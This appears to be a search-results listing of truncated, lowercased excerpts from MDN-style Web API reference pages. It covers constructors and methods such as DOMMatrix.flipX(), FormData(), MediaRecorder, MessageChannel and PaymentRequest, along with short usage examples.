... syntax dommatrix.flipx() return value returns a dommatrix containing a new matrix being the result of the original matrix flipped about the x-axis, which is equivalent to multiplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0).
... <svg width="100" height="100" viewbox="-50 0 100 100"> <path fill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis.
... const flipped = document.getelementbyid('flipped'); const matrix = new dommatrixreadonly(); const flippedmatrix = matrix.flipx(); flipped.setattribute('transform', flippedmatrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.flipx()' in that specification.
DOMMatrixReadOnly.translate() - Web APIs
the translate() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix with a translation applied.
... return value returns a dommatrix containing a new matrix being the result of the matrix being translated by the given vector.
... examples this svg contains two squares, one red and one blue, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform.
... const matrix = new dommatrixreadonly().translate(25, 25); document.queryselector('#transformed').setattribute('transform', matrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.translate()' in that specification.
DOMPoint.fromPoint() - Web APIs
the static dompoint method frompoint() creates and returns a new mutable dompoint object given a source point.
... you can also create a new dompoint object using the new dompoint() constructor.
... syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties.
... return value a new dompoint object whose coordinate and perspective values are identical to those in the source point.
DOMPointReadOnly() - Web APIs
the dompointreadonly() constructor returns a new dompointreadonly object representing a point in 2d or 3d space, optionally with perspective, whose values cannot be altered by script code.
... syntax point = new dompointreadonly(x, y, z, w); parameters x optional the value of the horizontal coordinate, x, as a floating point number.
... return value a new dompointreadonly object representing the specified location in space.
... var point2d = new dompointreadonly(50, 25); var point3d = new dompointreadonly(50, 0, 10); var perspectivepoint3d = new dompointreadonly(50, 50, 25, 0.5); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly' in that specification.
DOMTokenList.replace() - Web APIs
the replace() method of the domtokenlist interface replaces an existing token with a new token.
... if the first token doesn't exist, replace() returns false immediately, without adding the new token to the token list.
... syntax tokenlist.replace(oldtoken, newtoken); parameters oldtoken a domstring representing the token you want to replace.
... newtoken a domstring representing the token you want to replace oldtoken with.
DataTransfer.dropEffect - Web APIs
on setting, if the new value is one of the values listed below, then the property's current value will be set to the new value and other values will be ignored.
...the possible values are: copy a copy of the source item is made at the new location.
... move an item is moved to a new location.
... link a link is established to the source at the new location.
DataTransfer - Web APIs
constructor datatransfer() creates and returns a new datatransfer object.
... properties standard properties datatransfer.dropeffect gets the type of drag-and-drop operation currently selected or sets the operation to a new type.
...if data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format.
...mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a new item is added, and the mozitemcount is incremented by one.
DelayNode() - Web APIs
the delaynode() constructor of the web audio api creates a new delaynode object with a delay-line; an audionode audio-processing module that causes a delay between the arrival of an input data, and its propagation to the output.
... syntax var delaynode = new delaynode(context); var delaynode = new delaynode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new delaynode object instance.
... example const audioctx = new audiocontext(); const delaynode = new delaynode(audioctx, { delaytime: 0.5, maxdelaytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification.
Document.createElement() - Web APIs
return value the new element.
... examples basic example this creates a new <div> and inserts it before the element with the id "div1".
... html <!doctype html> <html> <head> <title>||working with elements||</title> </head> <body> <div id="div1">the text above has been created dynamically.</div> </body> </html> javascript document.body.onload = addelement; function addelement () { // create a new div element const newdiv = document.createelement("div"); // and give it some content const newcontent = document.createtextnode("hi there and greetings!"); // add the text node to the newly created div newdiv.appendchild(newcontent); // add the newly created element and its content into the dom const currentdiv = document.getelementbyid("div1"); document.body.insertbefore(newdiv, currentdiv); } web component example the following example snippet is taken from our expanding-list-web-component example (...
... } } // define the new element customelements.define('expanding-list', expandinglist, { extends: "ul" }); if we wanted to create an instance of this element programmatically, we'd use a call along the following lines: let expandinglist = document.createelement('ul', { is : 'expanding-list' }) the new element will be given an is attribute whose value is the custom element's tag name.
Document.registerElement() - Web APIs
the document.registerelement() method registers a new custom element in the browser and returns a constructor for the new element.
... example here is a very simple example: var mytag = document.registerelement('my-tag'); now the new tag is registered in the browser.
... the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(new mytag()); this inserts an empty my-tag element that will be visible if you use the browser's developer tools.
...here is one way to add content to the new tag: var mytag = document.getelementsbytagname("my-tag")[0]; mytag.textcontent = "i am a my-tag element."; ...
EXT_disjoint_timer_query - Web APIs
types this extension exposes a new type: gluint64ext unsigned 64-bit integer number.
... constants this extension exposes seven new constants.
... methods this extension exposes eight new methods.
... ext.createqueryext() creates a new webglquery.
Element.classList - Web APIs
WebAPIElementclassList
string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype = new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw new domexception( "failed to execute '" + o + "' on 'domtokenlist': the token provided must not be empty." ); if((wsindex=v.search(wsre))!==-1) throw new domexception("failed to execute '"+o+"' on 'domtokenlist': " + "the token provided ('"+v[wsindex]+"') contains html...
...kippropchange = 0, restokenlist.length = tokens.length - sub; } } function polyfillclasslist(ele){ if (!ele || !("innerhtml" in ele)) throw typeerror("illegal invocation"); ele.detachevent( "onpropertychange", whenpropchanges ); // prevent duplicate handler infinite loop allowtokenlistconstruction = 1; try{ function protoobj(){} protoobj.prototype = new domtokenlist(); } finally { allowtokenlistconstruction = 0 } var protoobjproto = protoobj.prototype, restokenlist = new protoobj(); a: for(var toks=ele.classname.trim().split(wsre), ci=0, clen=toks.length, sub=0; ci !== clen; ++ci){ for (var inneri=0; inneri !== ci; ++inneri) if (toks[inneri] === toks[ci]) { sub++; continue a; } this[ci-sub] = toks[...
...ci]; } protoobjproto.length = clen-sub, protoobjproto.value = ele.classname, protoobjproto[" ucl"] = ele; if (defineproperty) { defineproperty(ele, "classlist", { // ie8 & ie9 allow defineproperty on the dom enumerable: 1, get: function(){return restokenlist}, configurable: 0, set: function(newval){ skippropchange = 1, ele.classname = protoobjproto.value = (newval += ""), skippropchange = 0; var toks = newval.trim().split(wsre), oldlen = protoobjproto.length; a: for(var ci = 0, clen = protoobjproto.length = toks.length, sub = 0; ci !== clen; ++ci){ for(var inneri=0; inneri!==ci; ++inneri) if(toks[inneri]===toks[ci]) {sub++; continue a;} restokenlist[ci-sub]...
..."add" : "remove"](val), !!arguments[1]); var oldvalue = this.value; return (this.remove(oldvalue), oldvalue === this.value && (this.add(val), true) /*|| false*/); }; if (!domtokenlistproto.replace || typeof testclass.replace("a", "b") !== "boolean") domtokenlistproto.replace = function(oldtoken, newtoken){ checkifvalidclasslistentry("replace", oldtoken), checkifvalidclasslistentry("replace", newtoken); var oldvalue = this.value; return (this.remove(oldtoken), this.value !== oldvalue && (this.add(newtoken), true)); }; if (!domtokenlistproto.contains) domtokenlistproto.contains = function(value){ for (var i=0,len=this.length; i !== len; +...
EventSource() - Web APIs
the eventsource() constructor returns a newly-created eventsource, which represents a remote resource.
... syntax eventsource = new eventsource(url, configuration); parameters url a usvstring that represents the location of the remote resource serving the events/messages.
... configuration optional provides options to configure the new connection.
... examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
FileSystemDirectoryEntry.getDirectory() - Web APIs
instead, it must be possible for it to be created newly at call time.
... true false path exists the existing file or directory is removed and replaced with a new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
... let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app dat...
...the success callback for this takes the resulting directory entry object and calls getfile() to get a filesystemfileentry object representing the dictionary file; the success callback for this, in turn, creates a new filereader and uses it to load the contents of the file.
FileSystemDirectoryEntry.getFile() - Web APIs
instead, it must be possible for it to be created newly at call time.
... true false path exists the existing file or directory is removed and replaced with a new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
... let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app dat...
...the success callback for this takes the resulting directory entry object and calls getfile() to get a filesystemfileentry object representing the dictionary file; the success callback for this, in turn, creates a new filereader and uses it to load the contents of the file.
FileSystemDirectoryEntry - Web APIs
basic concepts you can create a new directory by calling getdirectory().
...so create the hierarchy by recursively adding a new path after creating the parent directory.
...not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
FormData() - Web APIs
WebAPIFormDataFormData
the formdata() constructor creates a new formdata object.
... syntax var formdata = new formdata(form) parameters form optional an html <form> element — when specified, the formdata object will be populated with the form's current keys/values using the name property of each element for the keys and their submitted value for the values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div> <div> <label for="userfile">upload file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type=...
... let myform = document.getelementbyid('myform'); let formdata = new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification.
Using the Gamepad API - Web APIs
the gamepad api introduces new events on the window object for reading gamepad and controller (hereby referred to as gamepad) state.
... connecting to a gamepad when a new gamepad is connected to the computer, the focused page first receives a gamepadconnected event.
...note that disconnecting a device and then connecting a new device may reuse the previous index.
...values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values.
HTMLCanvasElement.toBlob() - Web APIs
the code snippet below, for example, takes the image in the <canvas> element whose id is "canvas", obtains a copy of it as a png image, then appends a new <img> element to the document, whose source image is the one created using the canvas.
... var canvas = document.getelementbyid('canvas'); canvas.toblob(function(blob) { var newimg = document.createelement('img'), url = url.createobjecturl(blob); newimg.onload = function() { // no longer need to read the blob so it's revoked url.revokeobjecturl(url); }; newimg.src = url; document.body.appendchild(newimg); }); note that here we're creating a png image; if you add a second parameter to the toblob() call, you can specify the image type.
... var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcallback(iconname) { return function(b) { var r = new filereader(); r.onloadend = function () { // r.result contains the arraybuffer.
... cu.import('resource://gre/modules/osfile.jsm'); var writepath = os.path.join(os.constants.path.desktopdir, iconname + '.ico'); var promise = os.file.writeatomic(writepath, new uint8array(r.result), {tmppath:writepath + '.tmp'}); promise.then( function() { console.log('successfully wrote file'); }, function() { console.log('failure writing file') } ); }; r.readasarraybuffer(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.toblob' in that specific...
HTMLImageElement.alt - Web APIs
for example, if an image is a badge that's shown on a page to indicate that the content of the page is new and has been updated recently, the corresponding alt text might be "updated recently" or even "updated on 27 august 2019".
... in this example, a starburst image with the word "new!" is used to indicate that an article is about something new (and probably supposedly also exciting).
... the alt attribute is set to new page!
... <div class="container"> <img src="https://udn.realityripple.com/samples/87/eace6b7d6a.svg" alt="new page!" class="pageinfo-badge"> <p class="contents"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
HTMLMediaElement - Web APIs
setting this value seeks the media to the new time.
... the mozframebufferlength property can be set to a new value for lower latency, larger amounts of data, etc.
...the best time to set a new length is after the loadedmetadata event fires, when the audio info is known, but before the audio has started or mozaudioavailable events have begun firing.
... htmlmediaelement.seeking read only returns a boolean that indicates whether the media is in the process of seeking to a new position.
Option() - Web APIs
the option() constructor creates a new htmloptionelement.
... syntax var optionelementreference = new option(text, value, defaultselected, selected); parameters text optional a domstring representing the content of the element, i.e.
... examples just add new options /* assuming we have the following html <select id='s'> </select> */ var s = document.getelementbyid('s'); var options = [four, five, six]; options.foreach(function(element,key) { s[key] = new option(element,key); }); append options with different parameters /* assuming we have the following html <select id="s"> <option>first</option> <option>second</option> <option...
...>third</option> </select> */ var s = document.getelementbyid('s'); var options = [ 'zero', 'one', 'two' ]; options.foreach(function(element, key) { if (element == 'zero') { s[s.options.length] = new option(element, s.options.length, false, false); } if (element == 'one') { s[s.options.length] = new option(element, s.options.length, true, false); // will add the "selected" attribute } if (element == 'two') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment ...
Headers.append() - Web APIs
WebAPIHeadersappend
the append() method of the headers interface appends a new value onto an existing header inside a headers object, or adds the header if it does not already exist.
... the difference between set() and append() is that if the specified header already exists and accepts multiple values, set() will overwrite the existing value with the new one, whereas append() will append the new value onto the end of the set of values.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' if the specified header already exists, append() will change its value to the specified value.
... if the specified header already exists and accepts multiple values, append() will append the new value to the end of the value set: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.get('accept-encoding'); // returns 'deflate, gzip' to overwrite the old value with a new one, use headers.set.
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
the bound() method of the idbkeyrange interface creates a new key range with the specified upper and lower bounds.
... syntax var myidbkeyrange = idbkeyrange.bound(lower, upper); var myidbkeyrange = idbkeyrange.bound(lower, upper, loweropen); var myidbkeyrange = idbkeyrange.bound(lower, upper, loweropen, upperopen); parameters lower specifies the lower bound of the new key range.
... upper specifies the upper bound of the new key range.
... return value idbkeyrange: the newly created key range.
IDBKeyRange - Web APIs
methods static methods idbkeyrange.bound() creates a new key range with upper and lower bounds.
... idbkeyrange.only() creates a new key range containing a single value.
... idbkeyrange.lowerbound() creates a new key range with only a lower bound.
... idbkeyrange.upperbound() creates a new upper-bound key range.
IDBOpenDBRequest.onupgradeneeded - Web APIs
var request = window.indexeddb.open("library", 3); // this event handles the event whereby a new version of the // database needs to be created.
... either one has not been created // before, or a new version number has been submitted via the // window.indexeddb.open line above.
... var store = db.createobjectstore("books", {keypath: "isbn"}); var titleindex = store.createindex("by_title", "title", {unique: true}); var authorindex = store.createindex("by_author", "author"); } if (event.oldversion < 2) { // version 2 introduces a new index of books by year.
... var bookstore = request.transaction.objectstore("books"); var yearindex = bookstore.createindex("by_year", "year"); } if (event.oldversion < 3) { // version 3 introduces a new object store for magazines with two indexes.
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversionchangeevent interface returns the new version of the database in a versionchange transaction.
... warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes.
...not for use in new websites.deprecated.
... not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IIRFilterNode() - Web APIs
the iirfilternode() constructor of the web audio api creates a new iirfilternode object which an audionode processor which implements a general infinite impulse response filter.
... syntax var iirfilternode = new iirfilternode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
... return value a new iirfilternode object instance.
... examples let feedforward = [0.00020298, 0.0004059599, 0.00020298]; let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification.
ImageCapture() constructor - Web APIs
the imagecapture() constructor creates a new imagecapture object.
... syntax const imagecapture = new imagecapture(videotrack) parameters videotrack a mediastreamtrack from which the still images will be taken.
... return value a new imagecapture object which can be used to capture still frames from the specified video track.
... navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .catch(error => console.log(error)); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
MediaDevices.getUserMedia() - Web APIs
older versions of the specification used securityerror for this instead; securityerror has taken on a new meaning.
... using the new api in older browsers here's an example of using navigator.mediadevices.getusermedia(), with a polyfill to cope with older browsers.
...ndefined) { navigator.mediadevices.getusermedia = function(constraints) { // first get ahold of the legacy getusermedia, if present var getusermedia = navigator.webkitgetusermedia || navigator.mozgetusermedia; // some browsers just don't implement it - return a rejected promise with an error // to keep a consistent interface if (!getusermedia) { return promise.reject(new error('getusermedia is not implemented in this browser')); } // otherwise, wrap the call to the old navigator.getusermedia with a promise return new promise(function(resolve, reject) { getusermedia.call(navigator, constraints, resolve, reject); }); } } navigator.mediadevices.getusermedia({ audio: true, video: true }) .then(function(stream) { var video = document.querys...
...elector('video'); // older browsers may not have srcobject if ("srcobject" in video) { video.srcobject = stream; } else { // avoid using this in new browsers, as it is going away.
MediaElementAudioSourceNode() - Web APIs
the mediaelementaudiosourcenode() constructor creates a new mediaelementaudiosourcenode object instance.
... syntax var myaudiosource = new mediaelementaudiosourcenode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new mediaelementaudiosourcenode object instance.
... example var ac = new audiocontext(); var mediaelement = document.createelement('audio'); var options = { mediaelement : mediaelement } var myaudiosource = new mediaelementaudiosourcenode(ac, options); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification.
MediaKeyStatusMap - Web APIs
methods mediakeystatusmap.entries() read only returns a new iterator object containing an array of [key, value] for each element in the status map, in insertion order.
... mediakeystatusmap.keys() read only returns a new iterator object containing keys for each element in the status map, in insertion order.
... mediakeystatusmap.values() read only returns a new iterator object containing values for each element in the status map, in insertion order.
... mediakeystatusmap.[@@iterator]() read only returns a new iterator object containing an array of [key, value] for each element in the status map, in insertion order.
MediaRecorder - Web APIs
constructor mediarecorder() creates a new mediarecorder object, given a mediastream to record.
...after calling this method, recording continues, but in a new blob.
... example if (navigator.mediadevices) { console.log('getusermedia supported.'); var constraints = { audio: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var mediarecorder = new mediarecorder(stream); visualize(stream); record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.background = "red"; record.style.color = "black"; } stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder...
...'button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; var audiourl = url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); deletebutton.onclick = function(e) { evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } mediarecorder.ondataavailable = function(e) { c...
MediaSource - Web APIs
t x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediasource</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediasource() constructs and returns a new mediasource object with no associated source buffers.
... mediasource.addsourcebuffer() creates a new sourcebuffer of the given mime type and adds it to the mediasource.sourcebuffers list.
... live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecode...
...c); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status comment media source extensionsthe definition of 'mediasource' in that specification.
MediaStream() - Web APIs
the mediastream() constructor returns a newly-created mediastream, which serves as a collection of media tracks, each represented by a mediastreamtrack object.
... if any parameters are given, the specified tracks are added to the new stream.
... syntax newstream = new mediastream(); newstream = new mediastream(stream); newstream = new mediastream(tracks[]); parameters stream a different mediastream object whose tracks are added to the newly-created stream automatically.
... return value a newly-created mediastream object, either empty, or containing the tracks provided, if any.
MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() - Web APIs
the mediastreamaudiodestinationnode() constructor of the web audio api creates a new mediastreamaudiodestinationnode object instance.
... syntax var myaudiodest = new mediastreamaudiodestinationnode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new mediastreamaudiodestinationnode object instance.
... example var ac = new audiocontext(); var mydestination = new mediastreamaudiodestinationnode(ac); specifications specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MessageChannel() - Web APIs
the messagechannel() constructor of the messagechannel interface returns a new messagechannel object with two new messageport objects.
... syntax var channel = new messagechannel(); returns a newly created messagechannel object.
... example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging ba...
MessageChannel - Web APIs
the messagechannel interface of the channel messaging api allows us to create a new message channel and send data through it via its two messageport properties.
... constructor messagechannel() returns a new messagechannel object with two new messageport objects.
... example in the following example, you can see a new channel being created using the messagechannel.messagechannel constructor.
... var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { outp...
Node.replaceChild() - Web APIs
WebAPINodereplaceChild
note the idiosyncratic argument order (new before old).
... syntax parentnode.replacechild(newchild, oldchild); parameters newchild the new node to replace oldchild.
... example // given: // <div> // <span id="childspan">foo bar</span> // </div> // create an empty element node // without an id, any attributes, or any content var sp1 = document.createelement("span"); // give it an id attribute called 'newspan' sp1.id = "newspan"; // create some content for the new element.
... var sp1_content = document.createtextnode("new replacement span element."); // apply that content to the new element sp1.appendchild(sp1_content); // build a reference to the existing node to be replaced var sp2 = document.getelementbyid("childspan"); var parentdiv = sp2.parentnode; // replace existing node sp2 with the new span element sp1 parentdiv.replacechild(sp1, sp2); // result: // <div> // <span id="newspan">new replacement span element.</span> // </div> specifications specification status comment domthe definition of 'node: replacechild' in that specification.
Notification.Notification() - Web APIs
the notification() constructor creates a new notification object instance, which represents a user notification.
... syntax var mynotification = new notification(title, options); parameters title defines a title for the notification, which is shown at the top of the notification window.
... renotify: a boolean specifying whether the user should be notified after a new notification replaces an old one.
... function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); } specifications specification status comment notifications apithe definition of 'notification() constructor' in that specification.
OffscreenCanvas() - Web APIs
the offscreencanvas() constructor returns a newly instantiated offscreencanvas object.
... syntax new offscreencanvas(width, height); parameters width the width of the offscreen canvas.
... examples this example creates a new offscreen canvas using the offscreencanvas() constructor.
... let offscreen = new offscreencanvas(256, 256); let gl = offscreen.getcontext('webgl'); specifications specification status comment html living standardthe definition of 'offscreencanvas()' in that specification.
PannerNode.PannerNode() - Web APIs
the pannernode() constructor of the web audio api creates a new pannernode object instance.
... syntax var mypanner = new pannernode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new pannernode object instance.
... example var ctx = new audiocontext(); var options = { positionx : 1, maxdistance: 5000 } var mypanner = new pannernode(ctx, options); specifications specification status comment web audio apithe definition of 'pannernode()' in that specification.
PasswordCredential - Web APIs
constructor passwordcredential()secure context creates a new passwordcredential object.
... examples var cred = new passwordcredential({ id: id, password: password, name: name, iconurl: iconurl }); navigator.credentials.store(cred) .then(function() { // do something else.
...not for use in new websites.deprecated.
... not for use in new websites.
PaymentRequest.PaymentRequest() - Web APIs
the paymentrequest() constructor creates a new paymentrequest object which will be used to handle the process of generating, validating, and submitting a payment request.
... syntax var paymentrequest = new paymentrequest(methoddata, details, [options]); parameters methoddata contains an array of identifiers for the payment methods the merchant web site accepts and any associated payment method specific data.
... return value a new paymentrequest object, configured for use as configured by the input parameters.
...n', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
PaymentRequest.show() - Web APIs
those look like this: async/await syntax using await to wait for a promise to be resolved makes it possible to write the code to handle payments particularly cleanly: async function processpayment() { try { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onshippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onshippingoptionchange = ev => ev.updatewith(checkshipping(payrequest)); const repsonse = await payrequest.show(); await validateresponse(response); } catch(err) { /* handle the error; aborterror usually means a user cancellation */ ...
... then/catch syntax you can also use the older promise-based approach to work with payments, using the then() and catch() functions on the promise returned by show(): function processspayment() { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onshippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onshippingoptionchange = ev => ev.updatewith(checkshipping(payrequest)); payrequest.show() .then(response => validateresponse(response)) .catch(err => handleerror(err)); } this is functionally equivalent to the processpayment() method using...
... const payment = new paymentrequest(methods, details, options); try { const response = await payment.show(); // process response here, including sending payment instrument // (e.g., credit card) information to the server.
... const initialdetails = { total: { label: "total", amount: { value: "0", currency: "aud" }, }, }; const request = new paymentrequest(methods, initialdetails, options); // check if the the user supports the `methods` if (!await request.canmakepayment()) { return; // no, so use a web form instead.
PaymentResponse.retry() - Web APIs
see the example below for a thorough example, but the basic concept, in outline form, is: create a new paymentrequest (new paymentrequest()) display the payment request (paymentrequest.show() if show() resolves, the returned paymentresponse describes the requested payment and the options chosen by the user.
... async function handlepayment() { const payrequest = new paymentrequest(methoddata, details, options); try { let payresponse = await payrequest.show(); while (payresponse has errors) { /* let the user edit the payment information, wait until they submit */ await response.retry(); } await payresponse.complete("success"); } catch(err) { /* handle the exception */ } } examples try { await paymentrequest.
...} async function dopaymentrequest() { const request = new paymentrequest(methoddata, details, options); const response = await request.show(); await recursivevalidate(request, response); await response.complete("success"); } // keep validating until the data looks good!
....push(promise); } if (errors.payer) { // "payerdetailchange" fired at response object const promise = fixfield(response, "payerdetailchange", payervalidator); promisestofixthings.push(promise); } await promise.all([response.retry(errors), ...promisestofixthings]); await recursivevalidate(request, response); } function fixfield(requestorresponse, event, validator) { return new promise(resolve => { // browser keeps calling this until promise resolves.
PerformanceObserver() - Web APIs
the performanceobserver() constructor creates a new performanceobserver object with the given observer callback.
... syntax var observer = new performanceobserver(callback); parameters callback a performanceobservercallback callback that will be invoked when observed performance events are recorded.
... return value a new performanceobserver object which will call the specified callback when observed performance events occur.
